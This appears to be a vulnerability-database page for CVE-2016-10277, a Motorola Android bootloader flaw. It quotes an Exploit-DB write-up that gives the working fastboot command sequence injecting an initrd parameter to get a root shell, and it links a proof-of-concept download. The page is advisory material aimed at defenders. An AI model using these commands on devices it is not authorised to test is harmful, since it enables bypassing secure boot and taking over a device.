CVE-2016-10277

high

Published 2017-05-12 · Modified 2026-05-13

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CVSS v3

7.8

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.8

Description

An elevation of privilege vulnerability in the Motorola bootloader could enable a local malicious application to execute arbitrary code within the context of the bootloader. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-33840490.

Predictions

Exploit likelihood

75%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42601 local android text · 2 KB

Roee Hay · 2017-09-01

Motorola Bootloader - Kernel Cmdline Injection Secure Boot and Device Locking Bypass

text exploit Source: Exploit-DB

Sources:
https://alephsecurity.com/2017/08/30/untethered-initroot/
https://github.com/alephsecurity/initroot

initroot: Motorola Bootloader Kernel Cmdline Injection Secure Boot & Device Locking Bypass (CVE-2016-10277)

By Roee Hay / Aleph Research, HCL Technologies

Recap of the Vulnerability and the Tethered-jailbreak

1. Vulnerable versions of the Motorola Android Bootloader (ABOOT) allow for kernel command-line injection.
2. Using a proprietary fastboot OEM command, only available in the Motorola ABOOT, we can inject, through USB, a parameter named initrd which allows us to force the Linux kernel to populate initramfs into rootfs from a specified physical address.
3. We can abuse the ABOOT download functionality in order to place our own malicious initramfs at a known physical address, named SCRATCH_ADDR (see here for a list of devices).
4. Exploiting the vulnerability allows the adversary to gain unconfined root shell.
5. Since the initramfs payload is injected into RAM by the adversary, the vulnerability must be re-exploited on every reboot.
For example, here is a successful run of the exploit on cedric (Moto G5)

$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598" 
$ fastboot flash aleph initroot-cedric.cpio.gz 
$ fastboot continue

$ adb shell 
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42601.zip

OS impact

Linux kernel Affected 2 releases

Version	Status	Fixed in
3.18	Affected	—
3.10	Affected	—

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.